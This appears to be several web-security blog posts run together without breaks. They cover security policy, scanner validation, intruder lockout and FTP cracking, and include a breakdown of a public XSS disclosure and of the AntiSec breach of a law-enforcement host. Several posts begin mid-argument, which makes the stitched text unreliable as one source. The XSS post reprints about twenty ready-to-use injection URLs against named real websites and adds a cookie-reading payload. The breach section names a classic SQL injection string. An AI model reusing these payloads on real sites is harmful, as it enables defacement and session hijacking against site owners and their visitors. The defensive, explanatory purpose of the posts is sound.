Ask any information security manager or compliance officer and they’ll likely tell you that Web application security falls under the overall information risk umbrella. Along with network infrastructure security, endpoint security, physical security and so on; Web application security is a critical piece of the overall puzzle.

Looking at the big compliance regulations such as PCI DSS, HIPAA/HITECH and GLBA, they all cover information security best practices including:

• Policies
• Awareness and training
• Authentication
• Access controls
• System monitoring and activity review
• Incident response
• Disaster recovery

The same can goes for information security standards such as ISO/IEC 27002, NIST 800-53, etc.

Interestingly though, when it comes to Web application security, we often stop at the application-centric issues. We find and fix the SQL injection, cross-site scripting and other technical flaws and assume that’s all that’s needed for true Web application security. The reality is these other information security best practices – the non-sexy stuff like policies, audit logging and incident response – can be tied directly to Web application security.

Web application security shouldn’t stop prematurely with the technical issues. No business can afford to take that on. It’s up to us as IT, security and software development professionals to ensure Web application security is addressed at all levels.

Does your business have security policies?
If so, ensure your Web applications fall within their scope.

Do you use identity and access management processes and technologies?
If so, ensure your Web applications fall within their scope.

Does your business have security incident response and disaster recovery plans?
If so, ensure your Web applications fall within their scope.

Don’t manage information security risks in silos. That’s not a good long-term strategy. It’s not good for you, your business or anything related to what we do in IT.

Web applications are arguably one of the highest-risk components of any information security program and need to be handled accordingly. Make Web application security a big deal in your business…It is.

Let me explain why I didn’t validate everything. When you’re testing IP-based hosts, you often don’t need to manually validate every single finding – only occasionally. However, with Web applications, you need to validate just about everything to ensure you’re not documenting problems and solutions for issues that don’t even exist. I told the project manager that for an SSL certification flaw I uncovered, the scanner is providing the same information I’d be able to get via any other means. Ditto with a flaw that uncovered an outdated version of the server’s operating system.

Another flaw was regarding the internal IP address being exposed on the server. The project manager was specifically interested in that finding. I told him that the internal IP address uncovered was right before us in the scanner results. Although there may be some circumstances that warrant it, I’ve never found a need to manually validate this specific vulnerability. In fact, this one could be next to impossible unless you’re on the internal network, but that’s a different discussion. Either way, if the scanner finds an internal IP address, it finds an internal IP address. There’s no other explanation for how a scanner could come up with a random internal IP address that happens to match an internal IP addressing scheme (that I happened to know of) otherwise.

Be it a web vulnerability scanner or advanced penetration testing tools you use manually, you need reliable means to ferret out such information, especially if it’s to be reliable and accurate. But in most cases, based on my experience, you’re not going to have to double-check every single finding of a server host in this regard.

Keep in mind that not every flaw is the same. Some require true validation and some won’t even be found using automated tools. Testing for security vulnerabilities is as much of an art as it is a science and experience using the tools, knowing what to expect from them, deciphering their results and knowing what else to look for is critical. That still doesn’t mean we’ll find it all…there’s no way to guarantee that. As with radiologists and home inspectors, there are just too many variables and unknowns involved.

Regardless, Web application or IP-based host, if I, based on my knowledge and experience, believe something needs further manual analysis then I’ll do it. If not, I’ll leave it be and document it as such. Once you’re comfortable doing so, I recommend you do the same.

Interestingly, it ended up being that the client’s questions weren’t about whether or not I actually validated each and every finding, but rather whether or not the hosts I listed in the report were indeed affected. There’s a difference. Make sure you keep all of this in mind and everyone is on the same page as you move forward with your security testing. Proper scoping and advance planning are half the battle.

Look at any given physical security-related video or access control system and the technology is amazing. From high-definition to DVR storage to remote access, you can literally control your physical security systems from a simple Web browser or even a mobile app. The problem is these systems are getting lost in the information systems complexity present in the average enterprise. But they’re no different than any other Web-based system – the potential for Web related vulnerabilities is endless. All it takes is a rogue insider or, in certain cases, an external attacker to compromise the essence of your organization’s physical security.

There’s a bit of irony in it all.

When performing my information security assessments, any given video management or access control system is chock full of Web flaws such as cross-site scripting, cross-site request forgery and so on. There are also more general flaws such as default passwords, no SSL, no audit logging or alerts enabled – no nothing related to application security. To top it all off, these systems are rarely, if ever, patched. Typically a systems integrator installs the physical security systems with zero security in mind and the systems stay that way with no one monitoring them, no one maintaining them…there’s no accountability.

Anyone with ill intent has free reign to watch (and control) internal video cameras, cover their tracks by deleting logs and actual video files, setup backdoor accounts and so on – all the things that bad guys do.

Indeed, we have a long road ahead of us in securing physical security-related video and access control systems. I strongly believe that unless and until these systems are included in the scope of Web security testing, businesses, government agencies and everyone in between will continue to have these critical security flaws flying under the radar.

Like with any other computer system, if it has a URL or an IP address, it’s fair game for attack. Give these systems the attention they deserve.

Many of my clients use third-party managed firewalls and intrusion detection and are typically alerted to such attacks against FTP. Yet still, any login hacking attempt can make you nervous especially knowing that manual cracking is likely to fly under the radar of these controls. So the question becomes, is there anything you can do to be more proactive and prevent FTP password-cracking attempts from occurring in the first place?

The ultimate control is to remove FTP from public access but that’s often not a reasonable option. Managed firewall and IPS is another great option. Ditto with any in-house firewall/IPS you may have. Changing the default FTP ports can help prevent automated attacks. This will provide minimal value and may end up being more trouble than it’s worth but it’s an option nonetheless. Otherwise, the best you can do is ensure that complex passwords are in place and enforced and intruder lockout is enabled on the FTP server.

All of this starts with knowing how your Web/FTP servers are currently at risk. Running a simple port scan of your external-facing systems can uncover FTP that you may not have known about – or have forgotten about. I recommend going a step beyond that running a good vulnerability scanner of the host itself to see what FTP-centric flaws it uncovers. In the end, you’ve got to look at your Web servers from every angle. All it takes is one seemingly benign weakness to undermine everything you’ve worked so hard to harden and protect.

The major issue here is that selecting ineffective security testing tools can be a costly venture. I’ve burned thousands of dollars and countless hours on tools that seemed like a good fit based on their tricked out websites and fancy marketing slicks. But talk is cheap so buyer beware. You have to take these tools for a spin to see if they’re going to be a good fit based on YOUR style inside YOUR environment, and based on YOUR business needs.

Whether you’re doing the actual work or just want to make sure your IT and security staff members are using what’s best for the organization, the simple truth is that good security audit tools can and will make a difference. Always remember that there is no one best tool but if you’re smart about your approach you shouldn’t have to spend a lot of money to get the job done right. If you invest a relatively small amount time researching, asking prospective vendors tough questions and actually trying the tools before you buy them, then you can’t lose.

When you choose and use good tools, you’ll know it. Amazingly, you’ll minimize your time and effort installing them, running your tests, reporting your results – everything from start to finish. Most importantly, with a good web vulnerability scanner you’ll be able to maximize the number of legitimate vulnerabilities discovered to help reduce the risks associated with your information systems. At the end of the day and over the long haul, this will add up to considerable business value you can’t afford to overlook.

So what’s the ideal setup for intruder lockout? Well, every situation is different and every business has its own unique needs. That said, I often recommend locking accounts for certain period of time (i.e. 5-10 minutes) after 5-10 failed login attempts. You may also use some form of automated password reset logic in conjunction with this process. Even something like tarpitting failed login attempts (i.e. purposefully slowing them down) can be beneficial as long as the delay is reasonable or the accounts are eventually locked.

Enabling intruder lockout is a relatively simple fix given what’s at stake. Whether you’ve got basic HTTP, forms, or some type of multi-factor authentication, keeping track of login abuse can have great payoffs — especially given the bad choices people make regarding passwords. Granted, intruder lockout could have the reverse effect on security. If you’ve got an attacker with a set of legitimate user accounts (often email addresses which can be relatively easy to obtain), then he could conceivably attack accounts via login pages that have intruder lockout enabled and effectively create a denial of service situation. You’ve got to determine what the greater risk is – password cracking or potential denial of service.

In many situations, intruder lockout on web login pages can eliminate a considerable amount of risk – especially in situations where you offer a SaaS/cloud solution and you’re not at liberty to control the enforcement of certain things like password complexity. Do what you can to set your users up for success. Even if they choose to use weak passwords, intruder lockout will at least help minimize the risk of successful password cracking.

Do the victims just say: “Well, management decided that it was just our marketing site that didn’t have anything the bad guys would want so we decided not to test it for security flaws…”?

Perhaps they could go on to say: “We understand that such a breach makes us look unprofessional and come across like we don’t take our IT or the reputation of our business very seriously. And we know a simple and relatively inexpensive web security scanner could’ve uncovered the flaw that led to this situation, but we just couldn’t make the business case for it…”?

Seriously, folks?

Shame on the marketers and hosting providers as well for not doing even the most rudimentary web application security testing. As I’ve written in the past, I don’t recommend relying on vulnerability scans alone, but they’re certainly a very good start!

Ignoring this glaringly obvious elephant in the room is just inexcusable. I know, that’s easy for me to say being on this side of the equation. But not being able to justify even a simple scan of your marketing site using free or inexpensive tools that anyone with any level of computer experience can run? I don’t get it.

If you’re reading this blog, this is probably a non-issue. Just make sure you’re scoping your ongoing assessments to look at your marketing site and any associated content management system at least once or twice a year. You may be surprised what turns up. Beyond that, we can all work together and encourage other business owners, friends and family members who aren’t IT savvy to test for the low-hanging fruit – even on their marketing sites. We’ll all benefit in the long term.

Users don’t appreciate the business reasons behind the policies
Simply telling people what they cannot do is like telling a four year old to stop playing with her food. You have to explain the reasons why policies exist and why it’s everyone’s job to adhere to them. In certain cases users aren’t even aware that certain policies exist, so without adequate training one can’t expect users to follow a set of rules to which I haven’t been initiated.

Users don’t buy into the policies
Even if you’ve laid out good reasons for your policies to exist, users may still disagree. They may not see the point of such nonsense, especially when they have the perception that they know what’s best.

Users know the policies won’t be enforced
Like speed limit and seat belt laws, people know that they’ll be able to get away with policy violations because there’s no possible way for IT and information staff to possibly monitor for and catch everything. Network complexity contributes to this problem and users are often correct – policies are indeed often suggestions with no real teeth. That still doesn’t mean you shouldn’t have the proper technologies in place to actually enforce your policies. You won’t catch everything but at least you can set your users up for success by using technology to your advantage where possible and reasonable.

Users are lazy
The ‘Must have it now!’ human desire for instant gratification is very powerful. People don’t want to take the time to do things right nor have the desire to jump through a bunch of hoops getting in their way of doing their jobs. The offending attitude is “maybe I’ll adhere to it like I’m supposed to next time…”

Users’ desire to violate policies outweighs their perception of the risks involved
Building on the laziness factor, users haven’t really thought about the consequences of their choices or assume that one bad decision every now and then won’t hurt. This mentality can spell disaster for the business. It’s up to you to convey why their risky behavior is bad for everyone.

Like the Art of War concept of “knowing your enemy”, understanding the basis for security policy violations is extremely important if you’re going to do something about it and (finally) fill the gap that’s too often overlooked in business today. Continuing to ignore the problem – or assuming that it’s a “management issue” will only prolong your web security woes.

Looking at this new vulnerability scan report, it became clear we were comparing apples to oranges. First off, this third-party used a more limited scan policy. Ironically, the policy I used tested for everything yet found fewer issues. Your scan policy choice alone can dramatically impact the outcome of your web security audit. But that’s not all that can impact the results of your tests. A few more considerations I shared with my client were:

• What’s being looked at: the actual production application or an ad-hoc test environment? The other scan was against this third-party’s unique production system that’s part of a multi-tenanted cloud application. I had looked at a lab environment setup specifically for my assessment which had zero customization. A follow-up assessment of their production environment found nothing new. The key difference here was not the application environment itself (although that could’ve made a difference). Instead it was the customization of the application that’s taking place for each customer.
• What credentials were used for the third-party test? What’s different about those user permissions compared to what I was given?
• How was the application’s security policy configured during the third-party scan? How is that different than what I looked at?
• The third-party’s Web vulnerability scanner version was several weeks newer than what I originally used. New builds, new vulnerability checks and updated policies had since come out.

Some additional things that can affect what’s uncovered are your scanner’s crawler depth and timeout settings, HTTP request handling, parameter exclusions and even firewall or IPS controls that affect production differently than a test environment. It may seem like a no-brainer and it probably should be but once you start throwing in all of these variables you may very well get different results.

Moving forward you can dig down further and uncover the not-so-obvious gotchas. Just be careful because certain (often many) scanner findings are false positives or don’t really matter in the grand scheme of things in the context of your business. As I advised my client, unless this third-party is manually validating every single finding, a person running a vulnerability scanner is not nearly as detailed a test as what’s involved in a more in-depth web application assessment so be careful what you commit to fixing.

The important thing is to ensure you’re looking at all possible areas of your applications from all possible angles and doing so on a periodic and consistent basis. You’re not going to get it figured out the first scan, or maybe even your fiftieth scan. Just strive to tweak your environment (be it production or test) and customize your scanner to provide greatest insight so you can find the most vulnerabilities in the shortest period of time.

Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.

In this video tutorial I demonstrate what an XSS attack is to show you how a hacker can use XSS vulnerabilities to hack into your website. I start the video by explaining the mechanisms of cross site scripting, and I proceed to demonstrate a number of pranks you can play on unsuspecting users. I also demonstrate how cookies can be stolen to hijack sessions and I take a peek into the vulnerable code that allows such attacks. I hope that this video will both entertaining and educational, and that by learning about XSS you can keep your own website safer.

How can you do this? You need to prove that you’re thoughtful and careful about money and that the decisions you’re making regarding Web security are in the best interests of the business. You can be frugal and show management that you’re willing and able to cut back, deal with what you’ve got and find ways to make things work better that may have been overlooked the past. For example, one thing I see quite often is network administrators and security managers not taking advantage of Web security controls they already have at their disposal, such as:

• URL sanitizers and input filters built into Web server platform(s)
• Event logging, monitoring and alerting capabilities built into server operating systems
• Web application firewall capabilities built into traditional perimeter firewalls
• Identity and access management controls embedded directly into the Web applications

When it comes to tightening our belts and improving Web security we have to get creative. I’ve learned this in my motorsports hobby. Like so many others believe, my earlier inclination was to spend a ton of money adding more horsepower to my car so I could lower my lap times. I soon learned that spending money on the issue wasn’t the solution.

Instead, I started focusing on what I already had on my car and, most importantly, in my mind. I soon realized that my car wasn’t the problem but rather my lack of hand-foot-eye coordination and the barriers I had in my head of what a car should be capable of doing. By focusing inward, in less than a year I had drastically lowered my lap times to levels equivalent to spending thousands of dollars on more horsepower. It was hard work but I didn’t have to spend a dime in order to get a whole lot better.

Think about all the areas where you can improve Web security in and around your business. From existing technologies to business process tweaks to your people and even your own skillset. There’s likely a lot of room for growth. The great thing is, if you take the initiative and make things happen, you won’t have to ask management for a single dollar.

Business leaders have learned that they must teach, train and develop their employees. Otherwise, they can’t expect people to perform at their highest levels. The same goes for us working in and around IT and Web application security. We can try to be high and mighty telling people the sky is falling because our Web applications aren’t secure. We can tell people all day – every day – that they can’t do this, that or the other – all in the name of Web security. But we have to be realistic and ask: how’s that working for us?

Skipping formal teaching, training, and development, and instead forcing Web security on other people doesn’t work all that well. It’s like trying force a religion or political ideology on others and expecting them to just say “Okay, whatever you say.” People and politics just don’t work that way. In fact, many people couldn’t care less about Web application security. Just because something is important to us doesn’t mean it is (or has to be) important to everyone else. Combine the forced messages with ego – something most of us working in IT have struggled with (and need to get over) – and you’ve got a recipe for application security mediocrity.

Rather than spouting no, no, no in a one-way binary fashion without any explanation of where we’re coming from, we need to outline why we’re saying what we’re saying. Why we’re recommending that we need to tighten down on application security controls. Why we’re recommending we spend money on making the development lifecycle better. Why application security matters to the business as a whole.

It’s like continually telling a child not to do something. It just doesn’t work long term. We have to explain why.

We must communicate the value of application security. This means showing that gaining control and visibility into our Web environments is better than the alternative. It also means demonstrating – where it’s reasonable – how Web application security can serve as a competitive differentiator and most definitely impacts the bottom line. But it’s not going to happen unless and until we help push the message forward clearly and respectfully and show its value in the context of our businesses. We’re often Web application security’s worst enemy and we need to come up with ways to fix that.

Back in the dot-com era of 1998-99, you may recall that Internet security was all about firewalls and SSL. Interesting (and sadly), that’s still the case in so many situations. The mantra is lock down the perimeter and everything will be fine. It’s an interesting study in human psychology. Like seatbelts, cigarettes and poor diet, the elephant is in the room; yet so many people choose to ignore the consequences. Ditto with SQL injection. We know what’s hurting us yet we don’t do anything about it. Case in point, the 2011 Ponemon Institute State of Web Application Security survey found that 69% of organizations rely on firewalls to secure web applications. I’m not surprised based on what I see in my work, but wow! Not much has changed in nearly a decade and a half.

Just in the past year, we’ve seen numerous high-profile SQL injection attacks against businesses such as Barracuda Networks, Expedia and HBGary. If it’s happening to these businesses, we can only imagine how bad the SQL injection problem is with smaller or less risk-savvy organizations!

Interestingly, I just completed a Web security assessment of an application that used to have SQL injection. The issue was originally fixed but has since returned. Talk about regression at its worst. Granted, authentication in to the application was required to access the vulnerable pages but the problem is still there for exploitation by a malicious user or an attacker who has stolen someone else’s login credentials. Making the problem more complex was the fact that SQL injection only existed when logged-in with certain user roles. SQL injection wasn’t exploitable at every level simply because the pages weren’t accessible to those users.

Let this be a reminder that SQL injection is out there. It’s in your in-house applications as well as in your commercial off the shelf and cloud applications. And sensitive data is there for the taking. Traditional security controls like firewalls, SSL, passwords and the like aren’t going to help. You have to step back and look at the bigger picture. Are you performing the right tests? Are you checking all possible user role levels to see which users have access to what? Are you checking back periodically to make sure old flaws haven’t returned or new ones haven’t surface? Are you developers on board? Are you asking the right questions of your vendors? You’ll never really know unless and until you dig in deeper.

On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and energy.gov. The vulnerabilities were discovered by a hacker who goes by the handle *Invectus*.

Is an XSS Vulnerability a big deal?

XSS vulnerabilities (Cross-Site Scripting vulnerabilities) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and SQL Injection attacks are similar in the way they inject malicious code. The difference is that an SQL attack, injects code into the target database whereas an XSS attack injects code into the target browser. In an XSS attack the hacker uses your website to inject code into your visitor’s browser.

Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popoular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.

How to: XSS McDonalds

Below is the entire list of websites that were disclosed as vulnerable. At first glance the list is long and cryptic, but with some basic hacker techniques we can soon make some sense out of them.

http://video.state.gov/en/search/img-srchttp-i55tin
ypiccom-witu7dpng-height650-width1000/Ij48aW1nIHNyY
z0iaHR0cDovL2k1NS50aW55cGljLmNvbS93aXR1N2QucG5nIiBo
ZWlnaHQ9IjY1MCIgd2lkdGg9IjEwMDAiPg%3D%3D

http://www.telegraph.co.uk/search/?queryText=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%2
2%20height=%22650%22%20width=%221000%22%3E

http://www.dsm.com/en_US/cworld/public/home/pages/s

earchResults.jsp?search-site=%22%3E%3Cimg+src%3D%22
http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height
%3D%22650%22+width%3D%221000%22%3E&noMimimumKeyword
s=false

http://www.schools.nsw.edu.au/psearch/ext/?refine=n

ew&QueryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55
.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+wid
th%3D%221000%22%3E&Go.x=29&Go.y=25&Go=submit

http://thetablet.co.uk/search.php?q=%22%3E%3Cimg%20

src=%22http://i55.tinypic.com/witu7d.png%22%20heigh
t=%22650%22%20width=%221000%22%3E

http://www.scstatehouse.gov/cgi-bin/query.exe?firs

t=FIRST&querytext=&category=%22%3E%3Cimg%20src=%22

http://i55.tinypic.com/witu7d.png%22%20height=%226

50%22%20width=%221000%22%3E

http://www.highered.tafensw.edu.au/vsearch/tafehig

heredu/?QueryText=%22%3E%3Cimg%20src=%22http://i55
.tinypic.com/witu7d.png%22%20height=%22650%22%20wi
dth=%221000%22%3E

http://www.mcdonalds.com/content/us/en/search/sear

ch_results.html?queryText=%22%3E%3Cimg%20src=%22ht
tp://i55.tinypic.com/witu7d.png%22%20height=%22650
%22%20width=%221000%22%3E

http://www.watersportholland.nl/cgi-bin/watersport

holland/zoeken.cgi?search=Vera&query=%22%3E%3Cimg+
src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png
%22+height%3D%22650%22+width%3D%221000%22%3E

http://www.gpo.gov/fdsys/search/searchresults.acti

on?st=%22%3E%3Cimg%20src=%22http://i55.tinypic.com
/witu7d.png%22%20height=%22650%22%20width=%221000%
22%3E

http://www.networkcomputing.com/sitesearch?sort=pu

blishDate+desc&queryText=%22%3E%3Cimg+src%3D%22htt
p%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3
D%22650%22+width%3D%221000%22%3E

http://www.unc.edu/search/index.htm?q=%22%3E%3Cimg

+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.pn
g%22+height%3D%22650%22+width%3D%221000%22%3E&cx=0
14532668884084418890%3Ajyc_iub1byy&cof=FORID%3A10&
ie=UTF-8&hq=inurl%3Adevnet.unc.edu

http://cugir.mannlib.cornell.edu/search?querytext=

%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7
d.png%22%20height=%22650%22%20width=%221000%22%3E

http://ieeexplore.ieee.org./search/freesearchresul

t.jsp?newsearch=true&queryText=.QT.%3E%3Cimg+src.E
Q..QT.http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png.QT
.+height.EQ..QT.650.QT.+width.EQ..QT.1000.QT.%3E&x
=58&y=13

http://vivo-vis.cns.iu.edu/vivo1/search?querytext=

%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com
%2Fwitu7d.png%22+height%3D%22650%22+width%3D%22100
0%22%3E

http://google.nyu.edu/search?site=NYUWeb_Main&clie

nt=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&pro
xystylesheet=stern_frontend&sitesearch=www.stern.n
yu.edu&q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.ti
nypic.com%2Fwitu7d.png%22+height%3D%22650%22+width
%3D%221000%22%3E&x=8&y=6

http://ofa.fas.harvard.edu/cal/search.php?q=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%
22%20height=%22650%22%20width=%221000%22%3E

http://www.uidaho.edu/search?q=%22%3E%3Cscript%3EI

nvectus%3C/script%3E&cof=FORID:9&cref=http://www.u
idaho.edu/search?xml=1&ticks=634508915004972966

https://vivo.ufl.edu/search?flag1=1&querytext=%22%

3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fw
itu7d.png%22+height%3D%22650%22+width%3D%221000%22
%3E

http://energy.gov/search/site/%22%3E%3Cimg%20src%3

D%22http%3A//i55.tinypic.com/witu7d.png%22%20heigh
t%3D%22650%22%20width%3D%221000%22%3E

 

Understanding XSS

I will take the www.mcdonalds.com vulnerability to help explain XSS in more detail.

The raw XSS attack is repeated below:

http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tiny

pic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

The first thing we will do is seperate the URL from the query. We split at the first question mark (?) and get two parts:

1. URL Part:

http://www.mcdonalds.com/content/us/en/search/search_results.html

2. Query Part

queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20

height=%22650%22%20width=%221000%22%3E

The URL part identifies the vulnerable file on the server. In this case the vulnerabilitie lies within the search functionality of the site, a very common attack vector for both SQL Injections and XSS attacks.

The Query Part is the actual attack code. You will notice lots of % symbols. These are called URL Encoders and are difficult to read without the right tools. I use the Acunetix HTTP Editor tool that is bundled with Acunetix WVS to decode URL Endoded Query Parts.

The human-readable Query Part now looks like this:

queryText=”><img src=”http://i55.tinypic.com/witu7d.png” height=”650″ width=”1000″>

This script is hardly malicious. It injects the image of a flag into the McDonalds web page. I tested it out assuming that McDonalds would have fixed this security flaw immediately, and I was surprised to find that the vulnerabilitiy is still there.

This attack is pretty innoctuous as it is, however a crafty hacker will most likely manage to inject other malicious, such as the code below, which displays the user’s cookie:

<IMG SRC=javascript:alert(‘You cookie is this:’ + document.cookie)>

I decided to check other websites to see if they patched their sites after the disclosure was announced. You find my results in the next sections.

Winners and Losers

I categorised the orignial list into the Winners – those who fixed the vulnerabilitiy within 24 hours of it’s diclosure, and the Losers – those who left the secuirty flaw there for everyone to exploit. Within the next few days hackers will be having a field day with the Losers especially those like IEEE Explore who serve paid content from their site.

Winners – Vulnerability is fixed:

• Harvard University
• US Department of State
• Energy.gov
• The Telegraph UK
• University of North Carolina
• Cornell University
• University of Idaho

Losers – Website is still vulnerable:

• McDonalds

• US Government Printing Office

• IEEE Explore

• DSM

• South California Legislature

• Networkcomputing.com

• VIVO

• NYU Stern

• The Tablet UK

• NSW Public Schools

How to be a Winner

It is very probable that the hacker used automated tools to scan these web sites and automatically discover vulnerabilities. The injection code for each page is slightly different so the hacker must have tweaked around with each site to make his injection successful.

If you want to stay one step ahead you will need to use similar tools that the hacker uses. The most common one is a Web Vulnerability Scanner that supports automatic XSS detection. You will need to scan your website periodically to ensure that updates to the site do not expose new flaws.

Final Thoughts

In this case our hacker single handedly defaced 20 big web sites using XSS. The companies were lucky because the hacker did not have any malicious intent other than exposing them. The danger is what will come next; now that this list is in the wild the black-hats of the hacker community will pounce at every exposed vulnerability that is not patched.

If your website is on the list above you’d better do something about it now. If you want to make sure that your site never appears on such a list make regular scans and code reviews to fix any XSS vulnerabilities you may find.

We’ve all experienced this scenario in some capacity. And we’ve seen what can happen. Security suffers, data breaches occur, executives get bent out of shape and perhaps some heads roll. In a classic case of saving face, the stakeholders in management predictably ask “How in the world did this happen!?” and will often go on to proclaim “We can’t let this happen again!” The cycle continues…

But you know what’s interesting? I’m not seeing this scenario as much these days. Instead of time to market holding back Web application security, it’s now cost. Always an underlying consideration, cost is now at the forefront of IT and application security. It’s driving virtually everything in business today. That’s fine. I understand the need to pick and choose where money goes. The problem is that it’s not going to security the way it needs to be.

Case in point: I just had a conversation with an acquaintance who’s a solutions architect at a Fortune 500 company. After telling him what I do for a living he sort of smirked and said “Yeah, we need to be heading towards better application security but instead we’re going in reverse.” He validated the very thing I’ve been seeing of late by telling me that it used to be that time to market was the excuse for poorly-written code but now it’s cost. He said plain and simple, that management just doesn’t want to spend the money that needs to be spent on application security.

Saying the cost is too high to spend money on application security highlights two core problems:

1. IT professionals not doing enough to educate management on what’s at risk what there is to lose in the context of their unique business
2. Management choosing to ignore the realities that we’re all facing with application security today

Seeing how quickly businesses are going in the opposite direction with security in the software lifecycle begs the question: when will the right time come to spend money on security?  How many breaches? How many lawsuits? If application security were any other key business function, it’d get the visibility and attention it deserves. Management just doesn’t see it that way.

If you step back and look at this problem, it’s a chicken and egg situation. The mindset of “If we only had money to spend on application security, we could be more secure.” is like saying “If only that fire would put out some heat we’d throw some logs on it”. As with any capital investment or operational expenditure, application security is a choice. The money is there, it’s all in how it’s being spent. Cost is the current management excuse for not spending money on the testing, training and other things required for solid and secure software. It’s up to us in IT, information security and software development to change that.

Getting the attention of your employees and having them on your side can go a long way towards improving the security of your Web sites and applications. When people who are otherwise disconnected from IT get on board with security, they’ll often go out of their way to ensure they do what’s right. I’ve also seen employees go the extra mile to help people in IT and software development when they find security flaws in the systems they’re working on. Employees don’t want security to get in their way but they’re often willing to step out of their traditional roles and help contribute to Web security to make things better for the business.

On the other hand, if you do things with security that irritate your employees they’ll often do just the opposite by making your life miserable and putting your business at risk. Everyone loses.

Focus on the positive and you’ll reap what you sow. Here are some ways I’ve found to get employees on your side and minimize business risks:

1. Make sure employees are in the know and completely understand what you’re trying to accomplish with Web security. Properly set expectations and priorities are half the battle.
2. Establish and build trust. This means leading by example to help influence your organization’s culture and show your users that you’re a person of value who’s not out to get them.
3. Ensure that employees who come up with ways to help prevent or minimize the effects of security breaches are properly acknowledged and rewarded.
4. Help management create ways to integrate IT and security user awareness training participation (and results) with employee reviews.

These are things you as an IT or security professional can get started on today. I wouldn’t try to go it alone though. You really need management on board and ideally have a security committee consisting of representatives from HR, legal, operations, internal audit, IT, information security and physical security. A functional and well-run committee can help tremendously with visibility and accountability and improve overall Web security way beyond what you could otherwise do by yourself.

Employees are everything to the business. View them as allies rather than the enemy. Once you get them on your side, you’ll build your credibility and everyone will surely benefit.

BJM was not randomly attacked. The hackers chose their target because the servers contained the databases of 78 different law enforcement agencies scattered across America.

Operation AntiSec

BJM is one of many victims of the ongoing AntiSec cyber security operation headed by the two notorious hacking groups Anonymous and LulzSec, who teamed up to attack large organizations and major governments all over the world.

The armies of Operation AntiSec have a good track record. They recently smashed the cyber fortress of the US Department of Defence. Now they have humiliated the local law enforcement agencies across all of America. In the past they brought PayPal down to it’s knees and have recently infiltrated the NATO and the UN Security Forces.

Their hit-list – and their army, is just getting bigger and bigger with no end in sight. In this last hack they announced:

“GIVE UP. You are losing the cyberwar, and the attacks against the governments, militaries, and corporations of the world will continue to escalate. Hackers, join us to make 2011 the year of leaks and revolutions.”

What was stolen

In all, 10GB of sensitive information was stolen from approximately 78 different law enforcement agencies.

This is a quick breakdown of the information they released:

• Private emails from 300 accounts
• Over 7000 passwords, addresses, phones and social security numbers
• Other server passwords for ftp/ssh, email, cpanel and protected directories
• Source code and backups from the core servers

The Missouri Sheriff’s Association who was worst hit tried, as usual, to downplay the hack. Their director Mick Covington said:

“the most the hackers got from their organization were email addresses and there were no critical details like names, social security numbers or other personal information details on their server.”

Whilst this was being said, Anonymous were using the stolen credit cards to make donations to the ACLU and Bradley Mining Support Network.

How they did it

The hacker got in by cleverly exploiting several classic vulnerabilities in the PHP driven website of the core server. The sections below outline the most prominent of these vulnerabilities, one of which I suspect is a backdoor planted by the hackers themselves. This backdoor is significant because it allowed the hackers to keep coming back for more even though the servers were upgraded multiple times in an effort to ward off the hackers.

SQL Injection

In the code below we see a classic ‘ OR ‘a’='a injection. The user-supplied data taken from $_GET[‘username’] is not validated for SQL Injection attacks. This allows the hacker to use $username and $password to manipulate the SQL query.

If you are interested in learning more about SQL Injection attacks you should watch this excellent SQL Injection Video Tutorial.

Shell Injection

Shell Injection attacks were discovered eons ago – long before SQL Injections existed, yet they remain scattered around bad source code like old war mines. When trampled upon they cause much damage.

In the screen shot above the variable $query which could have unvalidated user-input could also be used to inject shell commands directly to the server with dramatic effects.

Source Code Injection

This Souce Code Injection is one of a kind. I have never seen something like this before. These lines of code actually allow a hacker to append his own files into the server script. This type of security flaw is so unlikely that this could actually be the backdoor that AntiSec were boasting about in their press release.

Hardcoded passwords

The server was heavily fortified with industry standard encryption, and long passwords and secret keys, yet the hacker managed to decrypt every password and unlock every vault. They did this by scavenging the code for lost keys.

They found plenty.

The code above holds the key to SQL Databases Administration privileges, and in the one below the password is shown just below a warning about hardcoding passwords.

A chain is as strong as its weakest link. RSA encryption is said to be uncrackable, unless you own the private keys. Private keys are ideally not placed on a public server, and if they are they should be encrypted with another key, stored on another server. In this case, the RSA keys were stolen with a simple shell command.

SQL Dump

Now that the hacker had all the keys, he could take a quick dump – of the mySQL server of course.

Next Target

The hacker now has the entire database and hoards of usernames and passwords. This might seem like the end, but there is much more to come. In his logs, the hacker reveals how he reads the IP addresses of servers for the different jails across America that were connected to this rooted server.

